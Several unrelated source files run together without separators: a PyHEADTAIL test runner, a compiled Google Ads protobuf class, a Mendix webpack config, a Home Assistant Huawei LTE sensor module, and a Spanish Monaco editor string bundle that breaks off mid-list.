''' @date: 23/03/2015 @author: Stefan Hegglin ''' import unittest from PyHEADTAIL.general.utils import ListProxy import autoruntests.ApertureNLossesTest as at import autoruntests.DetunersTest as dt import autoruntests.MonitorTest as mt import autoruntests.RFQTest as rt import autoruntests.SlicingTest as st import autoruntests.TransverseTrackingTest as ttt import autoruntests.WakeTest as wt class TestAutoRun(unittest.TestCase): '''Unittest which calls the functions in /autoruntests. These tests were converted from the interactive-tests and have removed any plotting and time-consuming function calls by limiting the number of particles/turns. These tests do not test any specific functionality but should simply run without throwing any errors. This way one can check whether existing code still works properly when introducing new features/interfaces. ''' def setUp(self): pass def tearDown(self): pass def test_aperturenlossestest(self): '''Runs the autoruntests/ApertureNLossesTest script and fails the test if an exception is thrown ''' try: at.run() except Exception as err: self.fail('ApertureNLossesTest threw an exception:\n' + str(err)) def test_detunerstest(self): '''Runs the autoruntests/DetunersTest script and fails the test if an exception is thrown ''' try: dt.run() except Exception as err: self.fail('DetunersTest threw an exception:\n' + str(err)) def test_monitortest(self): '''Runs the autoruntests/MonitorTest script and fails the test if an exception is thrown ''' try: mt.run() except Exception as err: self.fail('MonitorTest threw an exception:\n' + str(err)) def test_rfqtest(self): '''Runs the autoruntests/RFQTest script and fails the test if an exception is thrown ''' try: rt.run() except Exception as err: self.fail('RFQTest threw an exception:\n' + str(err)) def test_slicingtest(self): '''Runs the autoruntests/SlicingTest script and fails the test if an exception is thrown ''' try: st.run() except Exception as err: self.fail('SlicingTest threw an exception:\n' + str(err)) def test_transversetrackingtest(self): '''Runs the autoruntests/TransverseTrackingTest script and fails the test if an exception is thrown ''' try: ttt.run() except Exception as err: self.fail('TransverseTrackingTest threw an exception:\n' + str(err)) def test_waketest(self): '''Runs the autoruntests/WakeTest script and fails the test if an exception is thrown ''' try: wt.run() except Exception as err: self.fail('WakeTest threw an exception:\n' + str(err)) if __name__ == '__main__': unittest.main()
var jspb=require("google-protobuf"),goog=jspb,global=Function("return this")(),google_ads_googleads_v4_enums_placement_type_pb=require("../../../../../google/ads/googleads/v4/enums/placement_type_pb.js");goog.object.extend(proto,google_ads_googleads_v4_enums_placement_type_pb);var google_api_field_behavior_pb=require("../../../../../google/api/field_behavior_pb.js");goog.object.extend(proto,google_api_field_behavior_pb);var google_api_resource_pb=require("../../../../../google/api/resource_pb.js");goog.object.extend(proto,google_api_resource_pb);var google_protobuf_wrappers_pb=require("google-protobuf/google/protobuf/wrappers_pb.js");goog.object.extend(proto,google_protobuf_wrappers_pb);var google_api_annotations_pb=require("../../../../../google/api/annotations_pb.js");goog.object.extend(proto,google_api_annotations_pb),goog.exportSymbol("proto.google.ads.googleads.v4.resources.GroupPlacementView",null,global),proto.google.ads.googleads.v4.resources.GroupPlacementView=function(e){jspb.Message.initialize(this,e,0,-1,null,null)},goog.inherits(proto.google.ads.googleads.v4.resources.GroupPlacementView,jspb.Message),goog.DEBUG&&!COMPILED&&(proto.google.ads.googleads.v4.resources.GroupPlacementView.displayName="proto.google.ads.googleads.v4.resources.GroupPlacementView"),jspb.Message.GENERATE_TO_OBJECT&&(proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.toObject=function(e){return proto.google.ads.googleads.v4.resources.GroupPlacementView.toObject(e,this)},proto.google.ads.googleads.v4.resources.GroupPlacementView.toObject=function(e,o){var r,t={resourceName:jspb.Message.getFieldWithDefault(o,1,""),placement:(r=o.getPlacement())&&google_protobuf_wrappers_pb.StringValue.toObject(e,r),displayName:(r=o.getDisplayName())&&google_protobuf_wrappers_pb.StringValue.toObject(e,r),targetUrl:(r=o.getTargetUrl())&&google_protobuf_wrappers_pb.StringValue.toObject(e,r),placementType:jspb.Message.getFieldWithDefault(o,5,0)};return e&&(t.$jspbMessageInstance=o),t}),proto.google.ads.googleads.v4.resources.GroupPlacementView.deserializeBinary=function(e){var o=new jspb.BinaryReader(e),r=new proto.google.ads.googleads.v4.resources.GroupPlacementView;return proto.google.ads.googleads.v4.resources.GroupPlacementView.deserializeBinaryFromReader(r,o)},proto.google.ads.googleads.v4.resources.GroupPlacementView.deserializeBinaryFromReader=function(e,o){for(;o.nextField()&&!o.isEndGroup();){switch(o.getFieldNumber()){case 1:var r=o.readString();e.setResourceName(r);break;case 2:r=new google_protobuf_wrappers_pb.StringValue;o.readMessage(r,google_protobuf_wrappers_pb.StringValue.deserializeBinaryFromReader),e.setPlacement(r);break;case 3:r=new google_protobuf_wrappers_pb.StringValue;o.readMessage(r,google_protobuf_wrappers_pb.StringValue.deserializeBinaryFromReader),e.setDisplayName(r);break;case 4:r=new google_protobuf_wrappers_pb.StringValue;o.readMessage(r,google_protobuf_wrappers_pb.StringValue.deserializeBinaryFromReader),e.setTargetUrl(r);break;case 5:r=o.readEnum();e.setPlacementType(r);break;default:o.skipField()}}return e},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.serializeBinary=function(){var e=new jspb.BinaryWriter;return proto.google.ads.googleads.v4.resources.GroupPlacementView.serializeBinaryToWriter(this,e),e.getResultBuffer()},proto.google.ads.googleads.v4.resources.GroupPlacementView.serializeBinaryToWriter=function(e,o){var r=void 0;0<(r=e.getResourceName()).length&&o.writeString(1,r),null!=(r=e.getPlacement())&&o.writeMessage(2,r,google_protobuf_wrappers_pb.StringValue.serializeBinaryToWriter),null!=(r=e.getDisplayName())&&o.writeMessage(3,r,google_protobuf_wrappers_pb.StringValue.serializeBinaryToWriter),null!=(r=e.getTargetUrl())&&o.writeMessage(4,r,google_protobuf_wrappers_pb.StringValue.serializeBinaryToWriter),0!==(r=e.getPlacementType())&&o.writeEnum(5,r)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.getResourceName=function(){return jspb.Message.getFieldWithDefault(this,1,"")},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.setResourceName=function(e){return jspb.Message.setProto3StringField(this,1,e)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.getPlacement=function(){return jspb.Message.getWrapperField(this,google_protobuf_wrappers_pb.StringValue,2)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.setPlacement=function(e){return jspb.Message.setWrapperField(this,2,e)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.clearPlacement=function(){return this.setPlacement(void 0)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.hasPlacement=function(){return null!=jspb.Message.getField(this,2)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.getDisplayName=function(){return jspb.Message.getWrapperField(this,google_protobuf_wrappers_pb.StringValue,3)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.setDisplayName=function(e){return jspb.Message.setWrapperField(this,3,e)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.clearDisplayName=function(){return this.setDisplayName(void 0)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.hasDisplayName=function(){return null!=jspb.Message.getField(this,3)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.getTargetUrl=function(){return jspb.Message.getWrapperField(this,google_protobuf_wrappers_pb.StringValue,4)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.setTargetUrl=function(e){return jspb.Message.setWrapperField(this,4,e)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.clearTargetUrl=function(){return this.setTargetUrl(void 0)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.hasTargetUrl=function(){return null!=jspb.Message.getField(this,4)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.getPlacementType=function(){return jspb.Message.getFieldWithDefault(this,5,0)},proto.google.ads.googleads.v4.resources.GroupPlacementView.prototype.setPlacementType=function(e){return jspb.Message.setProto3EnumField(this,5,e)},goog.object.extend(exports,proto.google.ads.googleads.v4.resources);
const merge = require("webpack-merge"); const commonConfig = require("@mendix/pluggable-widgets-tools/configs/webpack.config.dev"); const devConfig = { module: { rules: [ { test: /\.(svg)$/, loader: "url-loader" } ] } }; const previewDevConfig = {} module.exports = [merge(commonConfig[0], devConfig), merge(commonConfig[1], previewDevConfig), commonConfig[2]];
"""Support for Huawei LTE binary sensors.""" import logging from typing import Optional import attr from huawei_lte_api.enums.cradle import ConnectionStatusEnum from homeassistant.components.binary_sensor import ( DOMAIN as BINARY_SENSOR_DOMAIN, BinarySensorEntity, ) from homeassistant.const import CONF_URL from . import HuaweiLteBaseEntity from .const import DOMAIN, KEY_MONITORING_STATUS, KEY_WLAN_WIFI_FEATURE_SWITCH _LOGGER = logging.getLogger(__name__) async def async_setup_entry(hass, config_entry, async_add_entities): """Set up from config entry.""" router = hass.data[DOMAIN].routers[config_entry.data[CONF_URL]] entities = [] if router.data.get(KEY_MONITORING_STATUS): entities.append(HuaweiLteMobileConnectionBinarySensor(router)) entities.append(HuaweiLteWifiStatusBinarySensor(router)) entities.append(HuaweiLteWifi24ghzStatusBinarySensor(router)) entities.append(HuaweiLteWifi5ghzStatusBinarySensor(router)) async_add_entities(entities, True) @attr.s class HuaweiLteBaseBinarySensor(HuaweiLteBaseEntity, BinarySensorEntity): """Huawei LTE binary sensor device base class.""" key: str item: str _raw_state: Optional[str] = attr.ib(init=False, default=None) @property def entity_registry_enabled_default(self) -> bool: """Return if the entity should be enabled when first added to the entity registry.""" return False @property def _device_unique_id(self) -> str: return f"{self.key}.{self.item}" async def async_added_to_hass(self): """Subscribe to needed data on add.""" await super().async_added_to_hass() self.router.subscriptions[self.key].add(f"{BINARY_SENSOR_DOMAIN}/{self.item}") async def async_will_remove_from_hass(self): """Unsubscribe from needed data on remove.""" await super().async_will_remove_from_hass() self.router.subscriptions[self.key].remove( f"{BINARY_SENSOR_DOMAIN}/{self.item}" ) async def async_update(self): """Update state.""" try: value = self.router.data[self.key][self.item] except KeyError: _LOGGER.debug("%s[%s] not in data", self.key, self.item) self._available = False return self._available = True self._raw_state = str(value) CONNECTION_STATE_ATTRIBUTES = { str(ConnectionStatusEnum.CONNECTING): "Connecting", str(ConnectionStatusEnum.DISCONNECTING): "Disconnecting", str(ConnectionStatusEnum.CONNECT_FAILED): "Connect failed", str(ConnectionStatusEnum.CONNECT_STATUS_NULL): "Status not available", str(ConnectionStatusEnum.CONNECT_STATUS_ERROR): "Status error", } @attr.s class HuaweiLteMobileConnectionBinarySensor(HuaweiLteBaseBinarySensor): """Huawei LTE mobile connection binary sensor.""" def __attrs_post_init__(self): """Initialize identifiers.""" self.key = KEY_MONITORING_STATUS self.item = "ConnectionStatus" @property def _entity_name(self) -> str: return "Mobile connection" @property def is_on(self) -> bool: """Return whether the binary sensor is on.""" return self._raw_state and int(self._raw_state) in ( ConnectionStatusEnum.CONNECTED, ConnectionStatusEnum.DISCONNECTING, ) @property def assumed_state(self) -> bool: """Return True if real state is assumed, not known.""" return not self._raw_state or int(self._raw_state) not in ( ConnectionStatusEnum.CONNECT_FAILED, ConnectionStatusEnum.CONNECTED, ConnectionStatusEnum.DISCONNECTED, ) @property def icon(self): """Return mobile connectivity sensor icon.""" return "mdi:signal" if self.is_on else "mdi:signal-off" @property def entity_registry_enabled_default(self) -> bool: """Return if the entity should be enabled when first added to the entity registry.""" return True @property def device_state_attributes(self): """Get additional attributes related to connection status.""" attributes = super().device_state_attributes if self._raw_state in CONNECTION_STATE_ATTRIBUTES: if attributes is None: attributes = {} attributes["additional_state"] = CONNECTION_STATE_ATTRIBUTES[ self._raw_state ] return attributes class HuaweiLteBaseWifiStatusBinarySensor(HuaweiLteBaseBinarySensor): """Huawei LTE WiFi status binary sensor base class.""" @property def is_on(self) -> bool: """Return whether the binary sensor is on.""" return self._raw_state is not None and int(self._raw_state) == 1 @property def assumed_state(self) -> bool: """Return True if real state is assumed, not known.""" return self._raw_state is None @property def icon(self): """Return WiFi status sensor icon.""" return "mdi:wifi" if self.is_on else "mdi:wifi-off" @attr.s class HuaweiLteWifiStatusBinarySensor(HuaweiLteBaseWifiStatusBinarySensor): """Huawei LTE WiFi status binary sensor.""" def __attrs_post_init__(self): """Initialize identifiers.""" self.key = KEY_MONITORING_STATUS self.item = "WifiStatus" @property def _entity_name(self) -> str: return "WiFi status" @attr.s class HuaweiLteWifi24ghzStatusBinarySensor(HuaweiLteBaseWifiStatusBinarySensor): """Huawei LTE 2.4GHz WiFi status binary sensor.""" def __attrs_post_init__(self): """Initialize identifiers.""" self.key = KEY_WLAN_WIFI_FEATURE_SWITCH self.item = "wifi24g_switch_enable" @property def _entity_name(self) -> str: return "2.4GHz WiFi status" @attr.s class HuaweiLteWifi5ghzStatusBinarySensor(HuaweiLteBaseWifiStatusBinarySensor): """Huawei LTE 5GHz WiFi status binary sensor.""" def __attrs_post_init__(self): """Initialize identifiers.""" self.key = KEY_WLAN_WIFI_FEATURE_SWITCH self.item = "wifi5g_enabled" @property def _entity_name(self) -> str: return "5GHz WiFi status"
/*!----------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Version: 0.18.0(c339a5605cafb261247285527889157733bae14f) * Released under the MIT license * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt *-----------------------------------------------------------*/ define("vs/editor/editor.main.nls.es",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (ocurrió de nuevo)","{0} (ocurrido {1} veces)"],"vs/base/browser/ui/findinput/findInput":["Entrada"],"vs/base/browser/ui/findinput/findInputCheckboxes":["Coincidir mayúsculas y minúsculas","Solo palabras completas","Usar expresión regular"],"vs/base/browser/ui/findinput/replaceInput":["Entrada","Conservar may/min"],"vs/base/browser/ui/inputbox/inputBox":["Error: {0}","Advertencia: {0}","Información: {0}"],"vs/base/browser/ui/keybindingLabel/keybindingLabel":["Sin enlazar"],"vs/base/browser/ui/list/listWidget":["{0}. Para navegar utilice las teclas de navegación."],"vs/base/browser/ui/menu/menu":["{0} ({1})"],"vs/base/browser/ui/tree/abstractTree":["Borrar","Desactivar filtro en tipo","Activar filtro en el tipo","No se encontraron elementos","{0} de {1} elementos coincidentes"], "vs/base/common/keybindingLabels":["Ctrl","Mayús","Alt","Windows","Ctrl","Mayús","Alt","Super","Control","Mayús","Alt","Comando","Control","Mayús","Alt","Windows","Control","Mayús","Alt","Super"],"vs/base/common/severity":["Error","Advertencia","Información"],"vs/base/parts/quickopen/browser/quickOpenModel":["{0}, selector","selector"],"vs/base/parts/quickopen/browser/quickOpenWidget":["Selector rápido. Escriba para restringir los resultados.","Selector rápido","{0} resultados"],"vs/editor/browser/controller/coreCommands":["&&Seleccionar todo","&&Deshacer","&&Rehacer"],"vs/editor/browser/widget/codeEditorWidget":["El número de cursores se ha limitado a {0}."],"vs/editor/browser/widget/diffEditorWidget":["Los archivos no se pueden comparar porque uno de ellos es demasiado grande."], "vs/editor/browser/widget/diffReview":["Cerrar","sin líneas","1 línea","{0} líneas","Diferencia {0} de {1}: original {2}, {3}, modificado {4}, {5}","vacío","original {0}, modificado {1}: {2}","+ modificado {0}: {1}","- original {0}: {1}","Ir a la siguiente diferencia","Ir a la diferencia anterior"],"vs/editor/browser/widget/inlineDiffMargin":["Copiar líneas eliminadas","Copiar línea eliminada","Copiar la línea eliminada ({0})","Revertir este cambio","Copiar la línea eliminada ({0})"], "vs/editor/common/config/commonEditorConfig":["Editor","Controla la familia de fuentes.","Controla el grosor de la fuente.","Controla el tamaño de fuente en píxeles.","Controla la altura de línea. Usa 0 para utilizar la altura del tamaño de fuente.","Controla el espacio entre letras en pixels.","Los números de línea no se muestran.","Los números de línea se muestran como un número absoluto.","Los números de línea se muestran como distancia en líneas a la posición del cursor.","Los números de línea se muestran cada 10 líneas.","Controla la visualización de los números de línea.",'Controla el número mínimo de líneas iniciales y finales visibles que rodean al cursor. Se conoce como "scrollOff" o "scrollOffset" en algunos otros editores.',"Representar el número de la última línea cuando el archivo termina con un salto de línea.","Muestra reglas verticales después de un cierto número de caracteres monoespaciados. Usa múltiples valores para mostrar múltiples reglas. Si la matriz está vacía, no se muestran reglas.","Caracteres que se usarán como separadores de palabras al realizar operaciones o navegaciones relacionadas con palabras.",'El número de espacios a los que equivale una tabulación. Este valor se invalida en función del contenido del archivo cuando "#editor.detectIndentation#" está activado.','Insertar espacios al presionar "TAB". Este valor se invalida en función del contenido del archivo cuando "#editor.detectIndentation#" está activado. ','Controla si "#editor.tabSize#" y "#editor.insertSpaces#" se detectarán automáticamente al abrir un archivo en función del contenido de este.',"Controla si las selecciones deberían tener las esquinas redondeadas.","Controla si el editor seguirá haciendo scroll después de la última línea.","Controla el número de caracteres adicionales a partir del cual el editor se desplazará horizontalmente.","Controla si el editor se desplazará con una animación.","Controla si se muestra el minimapa.","Controla en qué lado se muestra el minimapa.","Controla si el control deslizante del minimapa es ocultado automáticamente.","Represente los caracteres reales en una línea, por oposición a los bloques de color.","Limite el ancho del minimapa para representar como mucho un número de columnas determinado.","Controla si se muestra la información al mantener el puntero sobre un elemento.","Controla el retardo en milisegundos después del cual se muestra la información al mantener el puntero sobre un elemento.","Controla si la información que aparece al mantener el puntero sobre un elemento permanece visible al mover el mouse sobre este.","Controla si la cadena de búsqueda del widget de búsqueda se inicializa desde la selección del editor.","Controla si la operación de búsqueda se lleva a cabo en el texto seleccionado o el archivo entero en el editor.","Controla si el widget de búsqueda debe leer o modificar el Portapapeles de búsqueda compartido en macOS.","Controla si Encontrar widget debe agregar más líneas en la parte superior del editor. Si es true, puede desplazarse más allá de la primera línea cuando Encontrar widget está visible.","Las líneas no se ajustarán nunca.","Las líneas se ajustarán en el ancho de la ventanilla.",'Las líneas se ajustarán al valor de "#editor.wordWrapColumn#". ','Las líneas se ajustarán al valor que sea inferior: el tamaño de la ventanilla o el valor de "#editor.wordWrapColumn#".',"Controla cómo deben ajustarse las líneas.",'Controla la columna de ajuste del editor cuando "#editor.wordWrap#" es "wordWrapColumn" o "bounded".',"No hay sangría. Las líneas ajustadas comienzan en la columna 1.","A las líneas ajustadas se les aplica la misma sangría que al elemento primario.","A las líneas ajustadas se les aplica una sangría de +1 respecto al elemento primario.","A las líneas ajustadas se les aplica una sangría de +2 respecto al elemento primario.","Controla la sangría de las líneas ajustadas.",'Se usará un multiplicador en los eventos de desplazamiento de la rueda del mouse "deltaX" y "deltaY". ','Multiplicador de la velocidad de desplazamiento al presionar "Alt".','Se asigna a "Control" en Windows y Linux y a "Comando" en macOS.','Se asigna a "Alt" en Windows y Linux y a "Opción" en macOS.',"El modificador que se usará para agregar varios cursores con el mouse. Los gestos del mouse Ir a definición y Abrir vínculo se adaptarán de modo que no entren en conflicto con el modificador multicursor. [Más información](https://code.visualstudio.com/docs/editor/codebasics#_multicursor-modifier).","Combinar varios cursores cuando se solapan.","Habilita sugerencias rápidas en las cadenas.","Habilita sugerencias rápidas en los comentarios.","Habilita sugerencias rápidas fuera de las cadenas y los comentarios.","Controla si deben mostrarse sugerencias automáticamente mientras se escribe.","Controla el retraso, en milisegundos, tras el cual aparecerán sugerencias rápidas.","Habilita un elemento emergente que muestra documentación de los parámetros e información de los tipos mientras escribe.","Controla si el menú de sugerencias de parámetros se cicla o se cierra al llegar al final de la lista.","Utilizar las configuraciones del lenguaje para determinar cuándo cerrar los corchetes automáticamente.","Cerrar automáticamente los corchetes cuando el cursor esté a la izquierda de un espacio en blanco.","Controla si el editor debe cerrar automáticamente los corchetes después de que el usuario agregue un corchete de apertura.","Utilizar las configuraciones del lenguaje para determinar cuándo cerrar las comillas automáticamente. ","Cerrar automáticamente las comillas cuando el cursor esté a la izquierda de un espacio en blanco. ","Controla si el editor debe cerrar automáticamente las comillas después de que el usuario agrega uma comilla de apertura.","Escriba siempre entre comillas o corchetes.","Escriba en las comillas o los corchetes solo si se insertaron automáticamente.","No escriba nunca en comillas o corchetes.","Controla si el editor debe escribir entre comillas o corchetes.","Use las configuraciones de idioma para determinar cuándo delimitar las selecciones automáticamente.","Envolver con corchetes, pero no con comillas.","Envolver con comillas, pero no con corchetes.","Controla si el editor debe delimitar automáticamente las selecciones.","Controla si el editor debe dar formato a la línea automáticamente después de escribirla.","Controla si el editor debe dar formato automáticamente al contenido pegado. Debe haber disponible un formateador capaz de aplicar formato a un rango dentro de un documento. ","Controla si el editor debe ajustar automáticamente la sangría cuando los usuarios escriben, pegan o mueven líneas. Debe haber disponibles extensiones con las reglas de sangría del idioma.","Controla si deben aparecer sugerencias de forma automática al escribir caracteres desencadenadores.",'Aceptar solo una sugerencia con "Entrar" cuando realiza un cambio textual.','Controla si las sugerencias deben aceptarse con "Entrar", además de "TAB". Ayuda a evitar la ambigüedad entre insertar nuevas líneas o aceptar sugerencias.','Controla si se deben aceptar sugerencias en los caracteres de confirmación. Por ejemplo, en Javascript, el punto y coma (";") puede ser un carácter de confirmación que acepta una sugerencia y escribe ese carácter.',"Mostrar sugerencias de fragmentos de código por encima de otras sugerencias.","Mostrar sugerencias de fragmentos de código por debajo de otras sugerencias.","Mostrar sugerencias de fragmentos de código con otras sugerencias.","No mostrar sugerencias de fragmentos de código.","Controla si se muestran los fragmentos de código con otras sugerencias y cómo se ordenan.","Controla si al copiar sin selección se copia la línea actual.","Controla si el resaltado de sintaxis debe ser copiado al portapapeles.","Habilita sugerencias basadas en palabras.","Seleccionar siempre la primera sugerencia.",'Seleccione sugerencias recientes a menos que al escribir más se seleccione una, por ejemplo, "console.| -> console.log" porque "log" se ha completado recientemente.','Seleccione sugerencias basadas en prefijos anteriores que han completado esas sugerencias, por ejemplo, "co -> console" y "con -> const".',"Controla cómo se preseleccionan las sugerencias cuando se muestra la lista,","Tamaño de la fuente para el widget de sugerencias. Cuando se establece a `0`, se utilizará el valor `#editor.fontSize#`.","Altura de la línea del widget de sugerencias. Cuando se establece a `0`, se utiliza el valor `#editor.lineHeight#`.","La pestaña se completará insertando la mejor sugerencia de coincidencia encontrada al presionar la pestaña","Deshabilitar los complementos para pestañas.","La pestaña se completa con fragmentos de código cuando su prefijo coincide. Funciona mejor cuando las 'quickSuggestions' no están habilitadas.","Habilita completar pestañas.","Controla si el filtrado y la ordenación de sugerencias se tienen en cuenta para los errores ortográficos pequeños.","Controla si la ordenación de palabras mejora lo que aparece cerca del cursor.",'Controla si las selecciones de sugerencias recordadas se comparten entre múltiples áreas de trabajo y ventanas (necesita "#editor.suggestSelection#").',"Controla si un fragmento de código activo impide las sugerencias rápidas.","Controla si mostrar u ocultar iconos en sugerencias.","Controla cuántas sugerencias mostrará IntelliSense antes de que aparezca una barra de desplazamiento (máximo 15).","Controla si algunos tipos de sugerencias se deben filtrar desde IntelliSense. Se puede encontrar una lista de tipos de sugerencias aquí: https://code.visualstudio.com/docs/editor/intellisense#_types-of-completions.",'Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "method".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "function".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "constructor".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "field".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "variable".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "class".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "struct".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "interface".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "module".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "property".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "event".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "operator".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "unit".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "value".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "constant".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "enum".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "enumMember".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "keyword".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "text".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "color".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "file".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "reference".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "customcolor".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "folder".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "typeParameter".','Cuando se establece en "false", IntelliSense nunca muestra sugerencias de "snippet".','Controla el comportamiento de los comandos "Ir a", como Ir a la definición, cuando existen varias ubicaciones de destino.',"Mostrar vista de inspección de los resultados (predeterminado)","Ir al resultado principal y mostrar una vista de inspección","Vaya al resultado principal y habilite la navegación sin peek para otros","Controla si el editor debe destacar las coincidencias similares a la selección.","Controla si el editor debe resaltar las apariciones de símbolos semánticos.","Controla el número de decoraciones que pueden aparecer en la misma posición en la regla de información general.","Controla si debe dibujarse un borde alrededor de la regla de información general.","Controla el estilo de animación del cursor.",'Ampliar la fuente del editor cuando se use la rueda del mouse mientras se presiona "Ctrl".',"Controla si la animación suave del cursor debe estar habilitada.","Controla el estilo del cursor.",'Controla el ancho del cursor cuando "#editor.cursorStyle#" se establece en "line".',"Habilita o deshabilita las ligaduras tipográficas.","Controla si el cursor debe ocultarse en la regla de información general.","Render whitespace characters except for single spaces between words.","Represente los caracteres de espacio en blanco solo en el texto seleccionado.","Controla la forma en que el editor debe representar los caracteres de espacio en blanco.","Controla si el editor debe representar caracteres de control.","Controla si el editor debe representar guías de sangría.","Controla si el editor debe resaltar la guía de sangría activa.","Resalta el medianil y la línea actual.","Controla cómo debe representar el editor el resaltado de línea actual.","Controla si el editor muestra CodeLens.","Controla si el editor tiene el plegado de código habilitado.",'Controla la estrategia para calcular los intervalos de plegado. "auto" usa una estrategia de plegado específica del idioma, si está disponible. "indentation" usa la estrategia de plegado basada en sangría.',"Controla cuándo los controles de plegado del margen son ocultados automáticamente.","Resaltar corchetes coincidentes cuando se seleccione uno de ellos.","Controla si el editor debe representar el margen de glifo vertical. El margen de glifo se usa, principalmente, para depuración.","La inserción y eliminación del espacio en blanco sigue a las tabulaciones.","Quitar el espacio en blanco final autoinsertado.",'Mantiene abiertos los editores interactivos, incluso al hacer doble clic en su contenido o presionar "Escape".',"Controla si el editor debe permitir mover las selecciones mediante arrastrar y colocar.","El editor usará API de plataforma para detectar cuándo está conectado un lector de pantalla.","El editor se optimizará de forma permanente para su uso con un editor de pantalla.","El editor nunca se optimizará para su uso con un lector de pantalla.","Controla si el editor se debe ejecutar en un modo optimizado para lectores de pantalla.","Controla el fundido de salida del código no usado.","Controla si el editor debe detectar vínculos y hacerlos interactivos.","Controla si el editor debe representar el Selector de colores y los elementos Decorator de color en línea.","Habilita la bombilla de acción de código en el editor.","Las lineas por encima de esta longitud no se tokenizarán por razones de rendimiento.","Controla si la acción para organizar las importaciones debe ejecutarse al guardar el archivo.","Controla si la acción de reparación automática se debe ejecutar al guardar el archivo.","Tipos de acción de código que se ejecutarán en guardar.","Tiempo de espera, en milisegundos, transcurrido el cual se cancelan las acciones de código que se ejecutan al guardar.","Controla si el portapapeles principal de Linux debe admitirse.","Controla si el editor de diferencias muestra las diferencias en paralelo o alineadas.","Controla si el editor de diferencias muestra los cambios de espacio inicial o espacio final como diferencias.","Manejo especial para archivos grandes para desactivar ciertas funciones de memoria intensiva.","Controla si el editor de diferencias muestra los indicadores +/- para los cambios agregados o quitados."], "vs/editor/common/config/editorOptions":["No se puede acceder al editor en este momento. Presione Alt+F1 para ver opciones.","Contenido del editor"],"vs/editor/common/modes/modesRegistry":["Texto sin formato"], "vs/editor/common/standaloneStrings":["Sin selección","Línea {0}, columna {1} ({2} seleccionadas)","Línea {0}, columna {1}","{0} selecciones ({1} caracteres seleccionados)","{0} selecciones",'Se cambiará ahora el valor "accessibilitySupport" a "activado".',"Se abrirá ahora la página de documentación de accesibilidad del editor.","en un panel de solo lectura de un editor de diferencias.","en un panel de un editor de diferencias.","en un editor de código de solo lectura"," en un editor de código","Para configurar el editor de forma que se optimice su uso con un lector de pantalla, presione ahora Comando+E.","Para configurar el editor de forma que se optimice su uso con un lector de pantalla, presione ahora Control+E.","El editor está configurado para optimizarse para su uso con un lector de pantalla.","El editor está configurado para que no se optimice nunca su uso con un lector de pantalla, que en este momento no es el caso.","Al presionar TAB en el editor actual, el foco se mueve al siguiente elemento activable. Presione {0} para activar o desactivar este comportamiento.","Al presionar TAB en el editor actual, el foco se mueve al siguiente elemento activable. El comando {0} no se puede desencadenar actualmente mediante un enlace de teclado.","Al presionar TAB en el editor actual, se insertará el carácter de tabulación. Presione {0} para activar o desactivar este comportamiento.","Al presionar TAB en el editor actual, se insertará el carácter de tabulación. El comando {0} no se puede desencadenar actualmente mediante un enlace de teclado.","Presione ahora Comando+H para abrir una ventana del explorador con más información relacionada con la accesibilidad del editor.","Presione ahora Control+H para abrir una ventana del explorador con más información relacionada con la accesibilidad del editor.","Para descartar esta información sobre herramientas y volver al editor, presione Esc o Mayús+Escape.","Mostrar ayuda de accesibilidad","Desarrollador: inspeccionar tokens","Ir a la línea {0} y al carácter {1}","Ir a la línea {0}","Escriba un número de línea comprendido entre 1 y {0} a la cual quiera navegar.","Escriba un carácter entre 1 y {0} para ir a","Línea actual: {0}. ir a la línea {1}.","Escriba un número de línea, seguido de un signo opcional de dos puntos y un número de caracteres para desplazarse a","Ir a la línea...","{0}, {1}, comandos","{0}, comandos","Escriba el nombre de una acción que desee ejecutar","Paleta de comandos","{0}, símbolos","Escriba el nombre de un identificador al que quiera ir","Ir a símbolo...","símbolos ({0})","módulos ({0})","clases ({0})","interfaces ({0})","métodos ({0})","funciones ({0})","propiedades ({0})","variables ({0})","variables ({0})","constructores ({0})","llama a ({0})","Contenido del editor","Presione Ctrl+F1 para ver las opciones de accesibilidad.","Presione Alt+F1 para ver las opciones de accesibilidad.","Alternar tema de contraste alto","{0} ediciones 